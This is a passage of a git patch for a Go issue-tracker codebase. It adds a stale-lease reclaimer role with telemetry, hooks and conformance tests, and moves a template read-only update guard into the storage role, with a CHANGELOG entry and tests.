t.Run("AnswersAnAbsentIDWithAnEmptyResult", func(t *testing.T) { + conformance.RunLeaseReclaimerAnswersAnAbsentIDWithAnEmptyResult(t, ctx, fixture) + }) + t.Run("ScopesToAssigneesAndLabels", func(t *testing.T) { + conformance.RunLeaseReclaimerScopesToAssigneesAndLabels(t, ctx, fixture) + }) + t.Run("AttributesTheRecoveryEvent", func(t *testing.T) { + conformance.RunLeaseReclaimerAttributesTheRecoveryEvent(t, ctx, fixture) + }) + t.Run("FiresOnUpdateOncePerReclaimedRow", func(t *testing.T) { + conformance.RunLeaseReclaimerFiresOnUpdateOncePerReclaimedRow(t, ctx, fixture) + }) + t.Run("RefusesAMalformedRequest", func(t *testing.T) { + conformance.RunLeaseReclaimerRefusesAMalformedRequest(t, ctx, fixture) + }) + t.Run("RefusesABlankScopeEntry", func(t *testing.T) { + conformance.RunLeaseReclaimerRefusesABlankScopeEntry(t, ctx, fixture) + }) + t.Run("AcceptsExactlyTheCap", func(t *testing.T) { + conformance.RunLeaseReclaimerAcceptsExactlyTheCap(t, ctx, fixture) + }) + t.Run("DoesNotMutateTheCallerRequest", func(t *testing.T) { + conformance.RunLeaseReclaimerDoesNotMutateTheCallerRequest(t, ctx, fixture) + }) +} + +// TestLeaseReclaimerRefusesBeforeOpeningAUOW: a malformed sweep is a +// deterministic validation failure and must not cost a database connection to +// discover, as on the dolt and embedded-dolt legs. The provider fails every +// open, so a refusal that came from inside a unit of work would be counted. +func TestLeaseReclaimerRefusesBeforeOpeningAUOW(t *testing.T) { + for _, tc := range []struct { + name string + request publicops.ReclaimRequest + }{ + {"no actor", publicops.ReclaimRequest{}}, + {"a negative grace window", publicops.ReclaimRequest{Actor: "reaper", OlderThan: -1}}, + {"a blank id", publicops.ReclaimRequest{Actor: "reaper", Filter: publicops.ReclaimFilter{IDs: []string{""}}}}, + } { + t.Run(tc.name, func(t *testing.T) { + provider := &mockUnitOfWorkProvider{newUOWErr: errors.New("unexpected unit-of-work open")} + reclaimer, err := NewLeaseReclaimer(provider) + if err != nil { + t.Fatalf("NewLeaseReclaimer: %v", err) + } + if _, err := reclaimer.Reclaim(context.Background(), tc.request); !errors.Is(err, publicops.ErrValidation) { + t.Fatalf("err = %v, want ErrValidation", err) + } + if provider.newUOWCalls != 0 { + t.Errorf("an invalid request opened %d units of work", provider.newUOWCalls) + } + }) + } +} + +// newUOWLeaseReclaimerFixture takes every role through the provider's own +// capability accessors, and the hooked reclaimer off the notifying provider +// the proxied CLI route wraps around its provider. +func newUOWLeaseReclaimerFixture(t *testing.T, ctx context.Context, prefix string) conformance.LeaseReclaimerFixture { + t.Helper() + provider := newUOWRoleFixtureProvider(t, ctx, prefix) + source, ok := provider.(LeaseReclaimerSource) + if !ok { + t.Fatalf("provider %T does not offer the LeaseReclaimer accessor", provider) + } + reclaimer, err := source.LeaseReclaimer() + if err != nil { + t.Fatalf("LeaseReclaimer(): %v", err) + } + claimer, err := provider.(IssueClaimerSource).IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer(): %v", err) + } + lifecycle, err := provider.(IssueLifecycleSource).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + runner, fired := conformance.NewUpdateHookLog(t) + hooked := reclaimer + if runner != nil { + notifying, ok := NewNotifyingProvider(provider, Sinks{Hook: runner}).(LeaseReclaimerSource) + if !ok { + t.Fatal("the notifying provider does not offer the LeaseReclaimer accessor") + } + if hooked, err = notifying.LeaseReclaimer(); err != nil { + t.Fatalf("hooked LeaseReclaimer(): %v", err) + } + } + kit := newUOWRoleFixtureKit(provider, prefix) + return conformance.LeaseReclaimerFixture{ + IssuePrefix: kit.IssuePrefix, + LeaseReclaimer: reclaimer, + CreateIssue: kit.CreateIssue, + Claimer: claimer, + Lifecycle: lifecycle, + QueryScalar: kit.QueryScalar, + Exec: func(ctx context.Context, statements []conformance.SQLStatement) error { + return RunTx(ctx, provider, func(ctx context.Context, uw UnitOfWork) (string, error) { + for _, stmt := range statements { + if _, err := uw.RawSQLUseCase().Exec(ctx, stmt.Query, stmt.Args...); err != nil { + return "", fmt.Errorf("%s: %w", stmt.Query, err) + } + } + return "seed lease reclaimer rows", nil + }) + }, + HookedLeaseReclaimer: hooked, + FiredUpdates: fired, + } +} diff --git a/internal/storage/uow/notifying.go b/internal/storage/uow/notifying.go index f1e9930e5..53da8a3b9 100644 --- a/internal/storage/uow/notifying.go +++ b/internal/storage/uow/notifying.go @@ -309,6 +309,10 @@ func (p *notifyingProvider) MetadataCAS() (publicops.MetadataCAS, error) { retur func (p *notifyingProvider) Releaser() (publicops.Releaser, error) { return NewReleaser(p) } +func (p *notifyingProvider) LeaseReclaimer() (publicops.LeaseReclaimer, error) { + return NewLeaseReclaimer(p) +} + func (p *notifyingProvider) Memories() (memoryops.Memories, error) { return NewMemories(p) } // EventsJournalCursor builds on THIS provider, like every role above it, so a @@ -423,6 +427,7 @@ var ( _ WorkspaceConfigSource = (*notifyingProvider)(nil) _ VersionReconcilerSource = (*notifyingProvider)(nil) _ MemoriesSource = (*notifyingProvider)(nil) + _ LeaseReclaimerSource = (*notifyingProvider)(nil) _ EventsJournalCursorSource = (*notifyingProvider)(nil) ) @@ -1008,6 +1013,25 @@ func (u *recordingIssueUC) ReleaseIssue(ctx context.Context, req publicops.Relea return result, wrote, nil } +// Reclaim records an update for every lease the sweep reverted. +// +// It is DECLARED for the same reason ReleaseIssue above is: an inherited +// accessor would compile and record nothing, silently dropping the hook the +// DoltStorage chain fires once per reverted row. +// +// A sweep reverts only issues, never wisps, so the snapshot is the issues- +// plane snap.issue rather than anyPlane. +func (u *recordingIssueUC) Reclaim(ctx context.Context, request publicops.ReclaimRequest) (publicops.ReclaimResult, error) { + result, err := u.IssueUseCase.Reclaim(ctx, request) + if err != nil { + return result, err + } + for _, r := range result.Reclaimed { + u.rec.record(opUpdate, u.snap.issue(ctx, r.ID)) + } + return result, nil +} + func (u *recordingIssueUC) UpdateWisp(ctx context.Context, id string, updates map[string]any, actor string) error { if err := u.IssueUseCase.UpdateWisp(ctx, id, updates, actor); err != nil { return err diff --git a/internal/telemetry/BUILD.bazel b/internal/telemetry/BUILD.bazel index 90792516b..ffcf6b7d5 100644 --- a/internal/telemetry/BUILD.bazel +++ b/internal/telemetry/BUILD.bazel @@ -20,6 +20,7 @@ go_library( "issue_claimer.go", "issue_operations.go", "issue_reader.go", + "lease_reclaimer.go", "memories.go", "metadata_cas.go", "querier.go", diff --git a/internal/telemetry/lease_reclaimer.go b/internal/telemetry/lease_reclaimer.go new file mode 100644 index 000000000..cf61d8356 --- /dev/null +++ b/internal/telemetry/lease_reclaimer.go @@ -0,0 +1,36 @@ +package telemetry + +import ( + "context" + + "github.com/steveyegge/beads/issueops" +) + +// LeaseReclaimer returns the inner store's lease-sweep surface wrapped in +// this layer's instrumentation. It recurses instead of delegating: a blind +// delegation would return the inner surface unspanned and untimed. +func (s *InstrumentedStorage) LeaseReclaimer() (issueops.LeaseReclaimer, error) { + inner, err := s.Unwrap().LeaseReclaimer() + if err != nil { + return nil, err + } + return s.WrapLeaseReclaimer(inner), nil +} + +// WrapLeaseReclaimer instruments the lease sweep with this storage layer's +// existing telemetry meter and tracer. +func (s *InstrumentedStorage) WrapLeaseReclaimer(inner issueops.LeaseReclaimer) issueops.LeaseReclaimer { + return &instrumentedLeaseReclaimer{storage: s, inner: inner} +} + +type instrumentedLeaseReclaimer struct { + storage *InstrumentedStorage + inner issueops.LeaseReclaimer +} + +func (c *instrumentedLeaseReclaimer) Reclaim(ctx context.Context, request issueops.ReclaimRequest) (result issueops.ReclaimResult, err error) { + ctx, span, started := c.storage.op(ctx, "LeaseReclaimer.Reclaim") + result, err = c.inner.Reclaim(ctx, request) + c.storage.done(ctx, span, started, err) + return result, err +} diff --git a/internal/telemetry/role_accessor_decorator_test.go b/internal/telemetry/role_accessor_decorator_test.go index e7c9b7c9c..24a2d953b 100644 --- a/internal/telemetry/role_accessor_decorator_test.go +++ b/internal/telemetry/role_accessor_decorator_test.go @@ -94,7 +94,7 @@ func TestInstrumentedStorageDeclaresEveryRoleAccessor(t *testing.T) { } // roleAccessorStore is a DoltStorage whose only real methods are the -// twenty-eight role accessors, each answering with a distinguishable sentinel +// twenty-nine role accessors, each answering with a distinguishable sentinel // so a test can tell an instrumented surface from a passed-through one. // // TWO sentinels rather than one: memoryops.Memories.List and issueops.Reader.List @@ -175,8 +175,11 @@ func (s *roleAccessorStore) BatchApplier() (issueops.BatchApplier, error) { func (s *roleAccessorStore) Releaser() (issueops.Releaser, error) { return s.surface, s.err } +func (s *roleAccessorStore) LeaseReclaimer() (issueops.LeaseReclaimer, error) { + return s.surface, s.err +} -// roleAccessorSentinel implements twenty-seven of the twenty-eight roles at +// roleAccessorSentinel implements twenty-eight of the twenty-nine roles at // once — every one but memoryops.Memories, whose List collides with // issueops.Reader.List and needs the second sentinel below. // Nothing calls its methods; identity is the whole point. @@ -306,6 +309,9 @@ func (*roleAccessorSentinel) CompareAndSetKey(context.Context, issueops.CompareA func (*roleAccessorSentinel) Release(context.Context, issueops.ReleaseRequest) (issueops.ReleaseResult, error) { return issueops.ReleaseResult{}, nil } +func (*roleAccessorSentinel) Reclaim(context.Context, issueops.ReclaimRequest) (issueops.ReclaimResult, error) { + return issueops.ReclaimResult{}, nil +} // memoryRoleSentinel is the memory role's sentinel — see // memoryRoleSentinel is the remaining role's sentinel — see @@ -382,6 +388,7 @@ func TestInstrumentedStorageInstrumentsEveryRoleAccessor(t *testing.T) { {"MetadataCAS", func() (any, error) { return wrapped.MetadataCAS() }, sentinel}, {"BatchApplier", func() (any, error) { return wrapped.BatchApplier() }, sentinel}, {"Releaser", func() (any, error) { return wrapped.Releaser() }, sentinel}, + {"LeaseReclaimer", func() (any, error) { return wrapped.LeaseReclaimer() }, sentinel}, } { t.Run(test.name, func(t *testing.T) { surface, err := test.got() @@ -468,6 +475,7 @@ func TestInstrumentedStorageRoleAccessorsPropagateInnerErrors(t *testing.T) { {"MetadataCAS", func() (any, error) { return wrapped.MetadataCAS() }}, {"BatchApplier", func() (any, error) { return wrapped.BatchApplier() }}, {"Releaser", func() (any, error) { return wrapped.Releaser() }}, + {"LeaseReclaimer", func() (any, error) { return wrapped.LeaseReclaimer() }}, } { t.Run(test.name, func(t *testing.T) { surface, err := test.got() diff --git a/internal/types/types.go b/internal/types/types.go index 12f3777e0..dffc85811 100644 --- a/internal/types/types.go +++ b/internal/types/types.go @@ -2380,6 +2380,13 @@ func (s SortPolicy) IsValid() bool { type ReclaimedLease struct { ID string `json:"id"` PreviousOwner string `json:"previous_owner"` + + // Revision is the fresh RevisionToken minted for this issue's row by the + // same UPDATE that reverted its lease — the one this package's + // RevisionToken/ParseRevisionToken pair encodes, the same wire shape as + // IssueDetails.Revision. A caller that re-fetches after a reclaim sees a + // different token than one that raced it. + Revision string `json:"revision"` } // ReclaimFilter scopes which stale-lease issues bd reclaim may revert. The diff --git a/issue_roles_external_test.go b/issue_roles_external_test.go index b6e6dd38a..c9fde9947 100644 --- a/issue_roles_external_test.go +++ b/issue_roles_external_test.go @@ -238,6 +238,39 @@ func TestReleaserExposesTypedUnsupportedError(t *testing.T) { } } +// TestLeaseReclaimerLayersHooksOutsideTelemetry is the same pin for the +// lease-sweep role. It gives the same answer the release does and for the +// same reason: a reclaim moves assignee and status per reverted row, which +// is on_update — a hook the vocabulary publishes and a row a script can +// still read back — so this decorator wraps rather than recursing the way +// Sweeper and Deleter do. +func TestLeaseReclaimerLayersHooksOutsideTelemetry(t *testing.T) { + t.Setenv("BD_OTEL_STDOUT", "true") + instrumented, ok := telemetry.WrapStorage(&dolt.DoltStore{}).(*telemetry.InstrumentedStorage) + if !ok { + t.Fatal("WrapStorage() did not create InstrumentedStorage") + } + + reclaimer, err := storage.NewHookFiringStore(instrumented, nil).LeaseReclaimer() + if err != nil { + t.Fatalf("LeaseReclaimer() error = %v", err) + } + if got := reflect.TypeOf(reclaimer).String(); got != "*storage.hookLeaseReclaimer" { + t.Fatalf("outer layer = %s, want the hook wrapper", got) + } +} + +func TestLeaseReclaimerExposesTypedUnsupportedError(t *testing.T) { + reclaimer, err := (*dolt.DoltStore)(nil).LeaseReclaimer() + if reclaimer != nil { + t.Fatalf("LeaseReclaimer() reclaimer = %T, want nil", reclaimer) + } + var unsupported *beads.ErrUnsupported + if !errors.As(err, &unsupported) { + t.Fatalf("LeaseReclaimer() error = %v, want *beads.ErrUnsupported", err) + } +} + // TestIssueRelationsKeepsTelemetryOutermost is the READ role's version of the // pin, and it is deliberately the other answer: the hook decorator adds no // layer to a read, so the outermost thing a caller gets is the instrumented diff --git a/issueops/BUILD.bazel b/issueops/BUILD.bazel index dc28cd166..47fa9a549 100644 --- a/issueops/BUILD.bazel +++ b/issueops/BUILD.bazel @@ -22,6 +22,7 @@ go_library( "importer.go", "initverifier.go", "issueops.go", + "leasereclaimer.go", "metadatacas.go", "querier.go", "reader.go", diff --git a/issueops/leasereclaimer.go b/issueops/leasereclaimer.go new file mode 100644 index 000000000..4c63f5a42 --- /dev/null +++ b/issueops/leasereclaimer.go @@ -0,0 +1,183 @@ +package issueops + +import ( + "context" + "fmt" + "time" + + "github.com/steveyegge/beads/internal/types" +) + +// ReclaimFilter scopes which stale-lease issues a reclaim may revert. See +// types.ReclaimFilter: this is the same value, aliased into this package the +// way GetManyRequest's sibling roles alias their types.* shapes. +type ReclaimFilter = types.ReclaimFilter + +// ReclaimedLease names one issue whose stale lease a reclaim reverted, plus +// the owner it took the lease from and the fresh revision the revert minted. +// See types.ReclaimedLease. +type ReclaimedLease = types.ReclaimedLease + +// MaxReclaimIDs is the largest ReclaimFilter.IDs this role accepts in one +// call. It is the same number and the same reasoning as MaxGetManyIDs: a flat +// bound on the request rather than a cost model over the sweep it scopes, so +// one call cannot hold the revert transaction open over an unbounded id list. +const MaxReclaimIDs = 1000 + +// TooManyReclaimIDsError reports that a ReclaimRequest's Filter.IDs named more +// ids than this role accepts in one call. It wraps ErrValidation, matching +// TooManyIDsError's shape for the same reason: a caller that only checks for a +// usable request classifies it correctly without knowing this type exists. +type TooManyReclaimIDsError struct { + // Requested is the number of ids Filter.IDs named, counted before + // deduplication. + Requested int + // Cap is MaxReclaimIDs, carried on the error so a caller does not need the + // constant in scope to report what it hit. + Cap int +} + +func (e *TooManyReclaimIDsError) Error() string { + return fmt.Sprintf("reclaim accepts at most %d scoped ids, got %d", e.Cap, e.Requested) +} + +// Unwrap makes TooManyReclaimIDsError match ErrValidation. +func (e *TooManyReclaimIDsError) Unwrap() error { return ErrValidation } + +// The ReclaimRequest fields a ReclaimFieldError can name. +const ( + ReclaimFieldActor = "actor" + ReclaimFieldOlderThan = "older_than" + ReclaimFieldIDs = "ids" + ReclaimFieldAssignees = "assignees" + ReclaimFieldLabels = "labels" + ReclaimFieldLabelsAny = "labels_any" + ReclaimFieldExcludeLabels = "exclude_labels" +) + +// ReclaimFieldError reports a ReclaimRequest refusal and the one field it is +// about, so a front door can name that field without parsing the message. It +// wraps ErrValidation. The id cap is the one refusal that is not one of these: +// it is a *TooManyReclaimIDsError, always about ReclaimFieldIDs. +type ReclaimFieldError struct { + // Field is one of the ReclaimField* constants. + Field string + // Detail is the sentence the error reads as. + Detail string +} + +func (e *ReclaimFieldError) Error() string { return e.Detail } + +// Unwrap makes ReclaimFieldError match ErrValidation. +func (e *ReclaimFieldError) Unwrap() error { return ErrValidation } + +// ReclaimRequest describes one sweep of stale leases — the shape behind +// `bd reclaim`. +// +// Implementations never mutate caller-owned request values: Filter's slices +// are read, never written through. +type ReclaimRequest struct { + // Actor attributes every reverted row's recovery event and its journaled + // update. It is REQUIRED — an empty or all-blank Actor is ErrValidation — + // for the same reason Releaser.Release requires one: a reclaim is the + // moment work stops being owned, and the one question asked of a reverted + // row's history afterwards is who ran the sweep that freed it. It is + // recorded trimmed, and one longer than types.MaxFieldLen characters once + // trimmed is ErrValidation too: the column it is recorded in holds no more. + Actor string + // OlderThan is the grace period past a lease's own TTL: only a lease whose + // lease_expires_at is more than OlderThan in the past is eligible. It must + // not be negative — a negative grace reaches into the future and reclaims + // leases that have not yet expired by their own TTL, which is not a wider + // sweep, it is a different operation this role does not perform. + OlderThan time.Duration + // Filter narrows which stale-lease issues are eligible; the zero value + // reclaims every stale lease workspace-wide. See types.ReclaimFilter for + // the scope fields (ids, assignees, labels) and the AnyReplica escape + // hatch — none of that is restated here, and this role changes none of it. + // + // FILTER.IDS IS NOT AN ERROR WHEN IT NAMES A NON-STALE OR UNKNOWN ISSUE. + // Like GetManyRequest.IDs, an id that is not currently a stale lease + // simply does not appear in ReclaimResult.Reclaimed — scoping by id + // narrows a sweep, it does not assert that every named id was reclaimable. + // + // MORE THAN MaxReclaimIDs ENTRIES IN Filter.IDs IS A REFUSAL: a + // *TooManyReclaimIDsError, counted as sent, before deduplication. + Filter ReclaimFilter +} + +// ReclaimResult reports every issue a reclaim reverted, in the order the sweep +// found them. +type ReclaimResult struct { + // Reclaimed names every issue the sweep reverted, together with the owner + // each lease was taken from and the fresh revision the revert minted on + // each row. Never nil for a successful call, even when it is empty: a + // sweep that finds nothing stale answers with an empty, non-nil slice, the + // same promise GetManyResult.Issues makes. + Reclaimed []ReclaimedLease +} + +// LeaseReclaimer sweeps stale leases back to ready — the capability behind +// `bd reclaim` — and, like every other capability here, a role with its own +// accessor. +// +// IT IS A DIFFERENT QUESTION FROM Releaser. Releaser gives up ONE claim a +// caller names, on the claim's own say-so (Actor, or Force). This sweeps +// MANY leases that have gone stale by a clock, on nobody's say-so but the +// clock's — a reaper calls this, not the agent that held the work. A surface +// carrying both would let a caller that may only report its own abandoned +// work reach into every other holder's, which is the same split Releaser's +// own doc draws against Claimer. +// +// WRITES, AND ITS HOOK IS on_update, once per reverted row. A reclaim clears +// assignee and status on each row it reverts, which is an update and is +// already how the journal classifies it — see Releaser's identical +// reasoning. There is no on_reclaim to fire and inventing one is not this +// role's job. +// +// Reclaim only ever touches the permanent issues table: wisps are ephemeral +// and are never leased work (see internal/storage/issueops. +// ReclaimExpiredLeasesInTx). The replica guard ReclaimFilter.AnyReplica +// documents is unchanged by this role — it is enforced in the shared body +// every library leg calls through. +// +// EVERY LEG RUNS ONE BODY: dolt, embedded dolt and the unit-of-work provider +// wrap internal/storage/issueops.ExecuteReclaimInTx, and the HTTP client leg +// dials POST /v0/beads/issues:reclaim (capability issues.reclaim), behind which +// bd serve runs the same body. `bd reclaim` runs this role on both of its +// routes. Each leg records one version-control entry per sweep that reverted +// anything, and honors a deferred version commit on the context. +// +// Deterministic request-validation failures match ErrValidation. Result +// values are unspecified when error is non-nil, and every refusal below +// leaves persistent state unchanged. +type LeaseReclaimer interface { + // Reclaim sweeps every stale lease ReclaimRequest.Filter admits whose + // lease_expires_at is more than OlderThan in the past, and reports every + // issue it reverted. + // + // IT IS ONE TRANSACTION over the whole sweep: the snapshot that decides + // which leases are stale, every row's revert, and the revision each revert + // mints all see one write. A lease a concurrent heartbeat rescues between + // the snapshot and its row's revert is simply skipped — it never appears + // in Reclaimed, and is not an error. + // + // REFUSALS: + // + // - an empty or all-blank Actor, or one longer than types.MaxFieldLen + // characters once trimmed: ErrValidation, before anything is read; + // - a negative OlderThan: ErrValidation; + // - more than MaxReclaimIDs entries in Filter.IDs, or an empty-string + // entry among them: *TooManyReclaimIDsError or ErrValidation, + // respectively, before anything is read; + // - an empty or all-blank entry in Filter.Assignees, Labels, LabelsAny or + // ExcludeLabels: ErrValidation, because it would match nothing a + // caller meant to name. + // + // Every ErrValidation refusal but the cap is a *ReclaimFieldError naming + // its field. + // + // A sweep that finds no stale leases is not a refusal: it answers an empty, + // non-nil Reclaimed. + Reclaim(ctx context.Context, request ReclaimRequest) (ReclaimResult, error) +} From f21e3a80f7ed3b3b572b329e6f847971e78890ba Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 16:25:37 +0000 Subject: [PATCH 078/213] fix(issueops): templates are read-only on every update leg (#7427) * fix(issueops): enforce the template read-only update guard on every leg The refusal of an update to a template (validateIssueUpdatable) lived only in cmd/bd as a pre-read, so PATCH /v0/beads/issues/{id}, batch:apply update items and library callers of Lifecycle.Update / BatchApplier edited templates that `bd update` refused. It is now one role rule, storage issueops.AuthorizeTemplateUpdate, returning *issueops.TemplateReadOnlyError (matches ErrTemplateReadOnly; the message is the sentence bd always printed). It runs in the update's own transaction, after the compare-and-set preconditions (a stale guard still reports the mismatch), and no force flag waives it: - ExecuteUpdate (dolt, embedded) and the uow Update and batch update legs; - the batch apply metadata splice that finishes a create item stays unguarded on both bodies (a template the request creates is not modified); - httpapi maps it to 409 template_read_only on updateIssue and applyBatch (spec x-bd-codes and descriptions updated, apigen regenerated) and the client rebuilds the typed error. UpdateRequest.AllowTemplate stands the guard down for one request: the caller edits a template deliberately. bd label (add, remove, remove-prefix) and bd set-state set it, so they keep editing templates on every route, as on origin/main. Over HTTP it is the optional `allow_template` member of the PATCH body, advertised by the issues.update.allowTemplate behavior token, which also says the server enforces the guard. httpclient Lifecycle.Update decides from the cached handshake before the dial: against a server without the token (no guard, no member) it runs the same rule (AuthorizeTemplateUpdate) on a pre-read and never sends allow_template, so a new bd against an older bd serve still refuses template updates. cmd/bd: bd update, bd assign and the proxied assign/tag drop their pre-read and print the role's refusal with the same line and exit code. Conformance: RunLifecycleUpdateRefusesATemplate, RunLifecycleUpdateAllowTemplateEditsATemplate, RunBatchApplyUpdateItemsRefuseATemplate and RunBatchApplySplicesTheMetadataOfATemplateItCreates on dolt, embedded, uow and http (the http splice case is parked: the v0 create item has no is_template member), plus handler and CLI rendering tests, and TestUpdateTemplateGuardAgainstAServerThatPredatesIt (new client, handshake without the token: refused before the dial, allow_template not sent). Skew note (CHANGELOG): an older bd label / bd set-state against a new server cannot send allow_template and now gets 409 template_read_only on a template. bd comment, note, priority and tag keep their CLI-only pre-read guard. Co-Authored-By: Claude Opus 5.5 * fix(issueops): scope template read-only docs to updates, test label stand-down Review fixups for PR 7427 (adopt-pr review loop, iteration 1): - Contract: the role guard covers updates, not every mutation. The CHANGELOG headline, ErrTemplateReadOnly and CodeTemplateReadOnly now say so, and "Not yet moved" names claim, reopen, :casMetadata and the served addComment, which have no template check yet (a PATCH with claim: true refuses a template that POST :claim still claims). Close is #7425's. Follow-up: bd-jkp9v3. - Skew: the CapIssuesUpdateAllowTemplate client fallback covers updateIssue only. A batch update item gets no client-side check, so through an older bd serve it still edits a template; the CHANGELOG and both capability docs say so. - Tests: a template row now goes through the CLI on both tiers (TestEmbeddedLabelEditReports, TestProxiedServerLabelC). bd label add, bd label remove --prefix and bd set-state edit it (AllowTemplate); bd update --title and bd assign exit 1 with the template sentence and leave it unchanged. Mutants: dropping AllowTemplate from label.go and state.go reds the three edits on both tiers; disabling AuthorizeTemplateUpdate reds update and assign on both tiers. - Stale comments: runTagProxiedServer, applyUpdateProxiedOne, proxiedUpdateTarget, UpdateFlags (five booleans, not four) and the ItemUpdate notes in applyLabelEdit and bd label propagate's proxied route (UpdateItem has no AllowTemplate). Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 --- CHANGELOG.md | 31 +++++ backend/conformance/batch_apply_contract.go | 69 +++++++++ .../conformance/lifecycle_update_contract.go | 131 ++++++++++++++++++ backend/conformance/role_bundle_cases.go | 4 + cmd/bd/BUILD.bazel | 1 + cmd/bd/assign.go | 8 +- cmd/bd/label.go | 9 +- cmd/bd/label_embedded_test.go | 72 +++++++++- cmd/bd/label_proxied_integration_test.go | 52 +++++++ cmd/bd/label_proxied_server.go | 5 +- cmd/bd/mutate_proxied_server.go | 24 ++-- cmd/bd/show_unit_helpers.go | 7 + cmd/bd/state.go | 3 + cmd/bd/update.go | 27 +++- cmd/bd/update_proxied_server.go | 34 ++--- cmd/bd/update_template_refusal_test.go | 35 +++++ internal/httpapi/BUILD.bazel | 1 + internal/httpapi/apigen/types.gen.go | 7 +- internal/httpapi/batch_apply.go | 5 + internal/httpapi/problem.go | 22 +++ internal/httpapi/routes.go | 15 +- internal/httpapi/server_test.go | 2 +- internal/httpapi/spec/openapi.v0.yaml | 47 ++++++- internal/httpapi/update.go | 10 +- internal/httpapi/update_template_test.go | 107 ++++++++++++++ .../httpapi/wireshape/testdata/golden.json | 6 + internal/httpclient/lifecycle.go | 40 ++++++ .../httpclient/served_batch_apply_test.go | 14 ++ .../httpclient/served_claim_lifecycle_test.go | 13 ++ internal/httpclient/wire/handshake.go | 14 +- internal/httpclient/wire/problem.go | 7 + internal/httpclient/wire/vocabulary_test.go | 4 +- internal/httpclient/wire/writes.go | 19 ++- internal/httpclient/write_ledger_test.go | 2 + internal/httpclient/write_roles_test.go | 100 ++++++++++++- .../storage/dolt/batch_apply_contract_test.go | 10 ++ .../dolt/lifecycle_update_contract_test.go | 6 + .../embeddeddolt/batch_apply_contract_test.go | 6 + .../lifecycle_update_contract_test.go | 6 + internal/storage/issueops/aggregate.go | 23 +++ internal/storage/issueops/batch_apply.go | 6 +- internal/storage/issueops/execution.go | 14 ++ .../issueops/version_completeness_test.go | 4 +- internal/storage/uow/batch_applier.go | 16 ++- .../storage/uow/batch_apply_contract_test.go | 6 + internal/storage/uow/issue_operations.go | 3 + .../issue_operations_claim_contract_test.go | 4 +- .../uow/lifecycle_update_contract_test.go | 6 + internal/validation/BUILD.bazel | 1 + internal/validation/issue.go | 3 +- issueops/BUILD.bazel | 1 + issueops/batchapplier.go | 4 +- issueops/issueops.go | 15 +- issueops/template_errors.go | 30 ++++ 54 files changed, 1038 insertions(+), 73 deletions(-) create mode 100644 cmd/bd/update_template_refusal_test.go create mode 100644 internal/httpapi/update_template_test.go create mode 100644 issueops/template_errors.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 3497db5d1..77b8fc52d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -204,6 +204,37 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ones cannot fork. ### Fixed +- **An update of a template is now refused for every caller, not only + `bd update`.** The template guard used to be a pre-read in `cmd/bd`, so an + update through `bd serve` (`PATCH /v0/beads/issues/{id}`), an `update` item + of `issues:batchApply`, or a library caller of `issueops.Lifecycle.Update` or + `BatchApplier` edited a template that `bd update` refused. It now lives in + the role, in the update's own transaction, on every backend: any update + naming a template refuses with `*issueops.TemplateReadOnlyError` (matching + `ErrTemplateReadOnly`), whatever its patch and force flags, after the + compare-and-set guards. Over HTTP it is `409` `template_read_only`, and the + client rebuilds the same typed error. HTTP and library callers that edited + templates are now refused (pour the template instead) unless they set the + new `UpdateRequest.AllowTemplate` (`allow_template` on the PATCH body), which + stands the guard down for that one request. `bd update`, `bd assign` and the + proxied `bd tag` print the same line as before; `bd label` and + `bd set-state` set `AllowTemplate` and keep editing templates as they always + have. A batch create that makes a template and splices its metadata still + lands: the splice finishes the create. Version skew: a new `bd` against an + older `bd serve` (no `issues.update.allowTemplate` token in the handshake) + refuses a single template update itself before dialing, and never sends + `allow_template` to it. A batch `update` item gets no such check (its target + resolves on the server), so through an older `bd serve` it still edits a + template. An older `bd label` or `bd set-state` against a new `bd serve` + cannot send `allow_template`, so it now gets `409` `template_read_only` on a + template; upgrade the client. Not yet moved: `bd comment`, `bd note`, + `bd priority` and `bd tag` still refuse templates with their own pre-read in + `cmd/bd` (their direct-route writes do not go through `Lifecycle.Update`), so + for those four the guard lives only in the CLI. Claim, reopen, `:casMetadata` + and the served `addComment` have no template check at all yet (bd-jkp9v3): + `POST /v0/beads/issues/{id}:claim` (`issueops.Claimer`) still claims a + template that a `PATCH` with `claim: true` refuses. Close's guards move to + the role in their own change (#7425). - **PRs based on `hotfix/**` branches now run full CI, not just cross-version historical smokes and triage labeling.** `pr.yml`, `pr-risk.yml`, `conformance.yml`, `cross-version-smoke.yml` and diff --git a/backend/conformance/batch_apply_contract.go b/backend/conformance/batch_apply_contract.go index 49ed97a4f..6da619b21 100644 --- a/backend/conformance/batch_apply_contract.go +++ b/backend/conformance/batch_apply_contract.go @@ -2492,3 +2492,72 @@ func batchApplyHistoryMatching(t *testing.T, ctx context.Context, fixture BatchA } return count } + +// RunBatchApplyUpdateItemsRefuseATemplate pins that an update item answers to +// Lifecycle.Update's template guard: an item targeting a template refuses with +// an *ItemError carrying *TemplateReadOnlyError, whatever force flags it +// carries, and the request is all or nothing, so the create ahead of it does +// not land and the template is untouched. +func RunBatchApplyUpdateItemsRefuseATemplate(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { + t.Helper() + template := fixture.IssuePrefix + "-tmplupd-template" + bystander := fixture.IssuePrefix + "-tmplupd-bystander" + seeded := batchApplyIssue(template, "a template") + seeded.IsTemplate = true + if err := fixture.CreateIssue(ctx, seeded, "seed"); err != nil { + t.Fatalf("seed %s: %v", template, err) + } + + update := batchApplyUpdate(publicops.Ref{ID: template}, publicops.IssuePatch{ + Title: publicops.Field[string]{Set: true, Value: "edited"}, + Status: publicops.Field[publicops.Status]{Set: true, Value: types.StatusClosed}, + }) + update.Update.ForceClosePolicy = true + _, err := fixture.BatchApplier.ApplyBatch(ctx, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + ForceIDPrefix: true, + Items: []publicops.ApplyItem{ + batchApplyCreate("bystander", batchApplyIssue(bystander, "must not land beside a refusal")), + update, + }, + }) + var itemErr *publicops.ItemError + if !errors.As(err, &itemErr) { + t.Fatalf("an update item on template %s: error = %v, want an *ItemError", template, err) + } + if itemErr.Kind != publicops.ItemUpdate || itemErr.Index != 1 { + t.Errorf("ItemError = %#v, want the update item at index 1", itemErr) + } + var refusal 